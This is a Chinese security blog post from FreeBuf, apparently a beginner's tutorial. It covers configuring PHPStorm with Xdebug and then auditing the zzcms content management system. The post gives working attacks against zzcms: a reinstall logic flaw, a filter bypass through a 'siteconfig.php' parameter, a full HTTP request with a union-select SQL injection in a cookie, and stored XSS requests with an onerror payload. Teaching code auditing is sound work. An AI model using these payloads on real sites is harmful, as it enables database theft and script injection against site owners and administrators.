freeBuf
PHP面向过程(无MVC框架类型)代码审计初尝试
2024-04-02 15:52:12

前言

文章分为两部分,一是PHPSTORM_XDEBUG配置,二是对zzcms的代码审计实操案例。文章特色在于详细描述PHP代码审计环境配置以及提供实操分享案例。通过阅读文章分享内容,可以快速了解PHP面向过程的代码审计方式,初步入门PHP代码审计。文章写作初衷是想借助FREEBUF平台回顾并分享自己入门期间的学习成果。最后依旧是特别感谢何君师傅的指导。

贴心准备:
1.文章代码审计环境已配置上传至百度网盘(链接:https://pan.baidu.com/s/1MOGaCBwlvDEXk2PuPgZuAA?pwd=gm8d),若镜像文件过大不便于直接下载进行代码审计,可以直接下载zzcms代码审计样例再自行根据文章内容进行环境配置。链接如下:
(https://pan.baidu.com/s/16mrJNJ13GiyNqBSP426jcw?pwd=5crn)
注:建议审计环境需备有:
Burp Suite、PHPstudy、PHPstorm、Burp Suite与PHPstorm之间的debug功能调式、Seay源代码审计系统、navicat15、zzcms代码审计样例。

配置

PHPSTORM_XDEBUG配置

预先准备:

1.下载好PHPSTORM
(文中采用的是PHPSTORM2022年版本搭建XDEEBUG配置。若采用2023年版本的PHPSTORM搭建XDEEBUG配置,最后validate时,会出现部分告警,不过,并不影响本地断点调试的审计使用,具体详情可参考本节文末)
2.搭建好phpstudy
3.配置PHPSTORM_XDEEBUG

具体配置:

配置解释器:

①File->Settings(快捷键CTRL+ALT+S)②点击PHP->进行相关配置(对应phpstudy版本)③选择相应的PHP language level④点击...选项进行配置
image①点击+②选择Local Path to Interpreter③自定义name④选择相应文件下的php.exe⑤选择的相应文件下的php_xdebug.dll⑥Apply⑦OK
image配置完解释器后,可以直接点击浏览器图标载入
image

导入文件

①phpstudy其他选项菜单②打开配置文件-->php-ini③找到对应文件下的xdebug④找到对应文件下的php_xdebug.dll⑤端口号⑥idekey 注:除了文件位置,其他尽量保持一致,保存后重启phpstudy,如果重启起不来,检查配置文件,是否有误删等情况

具体内容(可copy到php-ini文件对应位置中自定义更改路径信息):

[XDebug]
xdebug.profiler_output_dir="C:\phpStudy\PHPTutorial\tmp\xdebug"                                                                ;optional
xdebug.trace_output_dir="C:\phpStudy\PHPTutorial\tmp\xdebug"                                                                   ;optional
zend_extension="C:\phpStudy\PHPTutorial\php\php-5.6.27-nts\ext\php_xdebug.dll"                                      ;xdebug扩展的位置,每个人可能不一样,必须确定的
xdebug.remote_enable=On                                                                                                                                 ;启动远程调试,必须确定
xdebug.remote_host=127.0.0.1                                                                                                                           ;需要调试的远程主机
xdebug.remote_port=9001                                                                                                                                  ;远程主机与phpstorm通信的端口,必须确定
xdebug.remote_handler=dbgp                                                                                                                            ;通信协议,optional
xdebug.auto_trace=on                                                                                                                                         ;启用代码自动跟踪,optional
xdebug.idekey=PHPSTORM                                                                                                                                 ;optional
xdebug.collect_return=On                                                                                                                                   ;收集返回值,optional
xdebug.collect_params=On                                                                                                                                 ;收集参数,optional
image

配置XDEBUGimage
image
image
image①点击+选择PHP Web Page②进入PHP Web Page配置界面③自定义名字PHP④选择调试好的DEBUG⑤⑥选择浏览器⑦验证测试⑧测试⑨界面全绿即合格⑩应用和确定
image
image①选择PHP②点击Debug③弹出正在加载内容的浏览器④出现Debugger界面即配置成功
image

Sql注入靶场进行测试

①Phpstorm开启监听| 停止②添加参数&XDEBUG_SESSION_START=PHPSTORM③回车后出现XDEBUG调试界面④功能按钮-跳过(step over)⑤功能按钮-下一步(step into)⑥功能按钮-强制进入(force step into)
image可以查看极其详细的信息
image

注:
1.挂留时间过长需要重新发包进入
2.要查看某长代码执行的更具体的情况,可以等价拆分相应代码或者添加辅助的代码,看具体输出情况(例如echo.....将部分情况输出)

使用如上操作,亦可以完成2023年版本的phpstorm_xdebug配置
image
image

审计案例

审计案例详情

案例1

想法:搭好环境后可观察相应网站的功能,源代码中的目录结构等。了解站点业务,大致推测网站可能存在的漏洞,例如充值vip,下单等涉及逻辑漏洞的点。

有趣的重装漏洞:
image搭建好站点,再次访问/insatll发现提示信息"安装向导已运行安装过,如需重安装,请删除 /install/install.lock 文件"。正常操作是没有权限对该文件进行删除的,但可以通过源码,可以查看install文件的内容,查找是否存在可利用的"点"。
image通过简单查看/install/step_1.php和step_2.php,大致了解到调用step_1.php即提示已安装,而进入step_2.php则会进入重安装。
image通过url/install/?id=xgg&XDEBUG_SESSION_START=PHPSTORM进行调试后发现,step需要POST传参
image
image借助burp将GET数据包改为POST数据包,传输参数step=2,成功进入重装界面。

小述:留意网站业务情况,找寻逻辑漏洞,借助XDEBUG进行代码跟进以及调试,构造参数执行预期效果。

案例2

想法:借助工具快速定位敏感变量,寻找未被过滤函数或者代码"保护"的"点",构造语句尝试xdebug调试执行。亦可根据工具提供的敏感变量为审计入口跟进审计,查看过滤函数或者代码是否存在可绕过的逻辑问题,从而跳出过滤函数的保护,构造语句执行达到预期效果。

借助工具定位变量,跟进审计,绕过"保护",一"点"到位。
image借助工具定位变量,跟进审计,发现groupid变量未做保护,且echo输出,存在联合注入点。
image①传输参数进行XDBUG调试②快速跳转,找寻"断点"(断开连接的具体文件)③打上断点,便于后续调试④步入查看⑤进入过滤文件,查看过滤情况
image①进入过滤文件快速跳转,找寻"断点"(断开连接的具体函数位置)②打上断点,便于后续调试③步入查看④查看过滤函数,发现只要url携带参数siteconfig.php、rllabel和template.php之一就会跳过过滤函数stopsqlin
imageURL参数携带a=siteconfig.php即可绕过过滤
image①复制XDBUG打印的执行语句②借助navicat快速找寻注入payload③结果
image注入结果

小述:通过工具扫描出的敏感函数,进行逆推、构参,找出未被保护或者可绕过的利用点进行利用。zzcms中存在多处通过带入该关键参数达到绕过保护的利用点,大伙可自行尝试。

如:GET /admin/ask.php?do=add&abc=siteconfig.php HTTP/1.1
Host: www.zzcms.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Cookie:askbigclassid=-1 union select user(),2,3,4,5,6,7,8,9,10,11
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

案例3

想法:通读全文,并结合黑盒测试方式("见框就插")挖掘宝藏......

通读全文。
发现function.php文件中自定义了一个名为 stripfxg 的函数,接受三个参数 $string、$htmlspecialchars_decode 和 $nl2br。
其中:htmlspecialchars_decode($string):如果参数 $htmlspecialchars_decode 的值为 true,则调用 htmlspecialchars_decode 函数将字符串中的 HTML 实体符号(如 &、<、> 等)转换回原来的字符。
image即将我们插入的XSS代码还原(过程:XSS代码(或者是含有<>之类特殊的正常文本内容)--->htmlspecialchars--->转义成字符实体--->存入数据库--->从数据库中取出来--->stripfxg(*, true)---->XSS代码(还原正常文本))。

小想法:寻找可以插入恶意语句(存入数据库中)且需要管理员点击(从数据库中取出)的功能点,同时该功能点调用了stripfxg(*, true)函数。例如用户留言,评论,简介等处。

全局搜索stripfxg(*, true),找寻可利用的点,定位可疑content变量的传入,发现content对应网站中"公司简介"功能,是一个可控参数。
image
image
image
image结合站点结构和功能业务,注册账号,进入用户中心界面,在相应位置插入语句。
imageBurp抓包对插入的语句进行检查,建议对恶意语句重新输入,防止空格URL编码的干扰。同时加入xxx=siteconfig参数,绕过过滤函数stopsqlin。
image

POST /user/daohang_company.php?action=modify&a=siteconfig.php HTTP/1.1
Host: www.zzcms.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 399
Origin: http://www.zzcms.com
Connection: close
Referer: http://www.zzcms.com/user/daohang_company.php
Cookie: __tins__713776=%7B%22sid%22%3A%201704936961988%2C%20%22vd%22%3A%208%2C%20%22expires%22%3A%201704939860957%7D; 51cke=; 51laig=19; PHPSESSID=eisvukb07ot4sjff98khs29e27; UserName=admin123; PassWord=0192023a7bbd73250516f069df18b5#00
Upgrade-Insecure-Requests: 1
province=%E8%AF%B7%E9%80%89%E6%8B%A9%E7%9C%81%E4%BB%BD&city=%E8%AF%B7%E9%80%89%E6%8B%A9%E5%9F%8E%E5%8C%BA&xiancheng=&address=%E6%9C%A8%E8%89%AF&homepage=http%3A%2F%2Fwww.zzcms.com%2Fzt%2Fshow-2.htm&b=&s=0&oldcontent=&content=&img=%2Fimage%2Fnopic.gif&sex=0&qq=&mobile=&Submit=%E5%A1%AB%E5%A5%BD%E4%BA%86%EF%BC%8C%E6%8F%90%E4%BA%A4%E4%BF%A1%E6%81%AF%EF%BC%81

数据库存入的语句
image管理员后台--->点击"待审注册用户"--->点击相应留言用户---->弹窗
imagezzcms中存在多处引用该自定义函数,将数据库中的转义语句进行复原的漏洞点,大伙可自行尝试。

如:存储型xss(需要能创建一个用户)
POST /user/manage.php?action=modify&xx=siteconfig.php HTTP/1.1
Host: www.zzcms.com
Content-Length: 156
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://www.zzcms.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://www.zzcms.com/user/manage.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=2nqnrn29e51i8e79klskuhq2k6; 51cke=; bdshare_firstime=1589358209789; UserName=yiluxiangbei; PassWord=e10adc3949ba59abbe56e057f20f883e; __tins__713776=%7B%22sid%22%3A%201589376382488%2C%20%22vd%22%3A%205%2C%20%22expires%22%3A%201589378347637%7D; 51laig=21
Connection: close
somane=%E5%88%98%E5%90%8D&sex=1&email=123%40qq.com&qq=1234567890&oldqq=&mobile=13112121212&Submit2=%E4%BF%AE%E6%94%B9&content=<img+src=x+onerror=confirm(1)>

接着访问http://www.zzcms.com/zt/show.php?id=1

小述:阅读源代码,解读"奇怪"的自定义函数,结合常见黑盒测试方式,访问网站,然后结合网站的结构推测可能出现的问题。

结语

PHP面向过程(无框架)审计方式,利用工具先筛选第一遍,随便找到一个注入点,跟着DBUG一次,走完全部流程,定位其过滤函数,通过PHP中文手册或者GPT解读相关函数,从而找出利用点并构造参数绕过执行。

本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
文章目录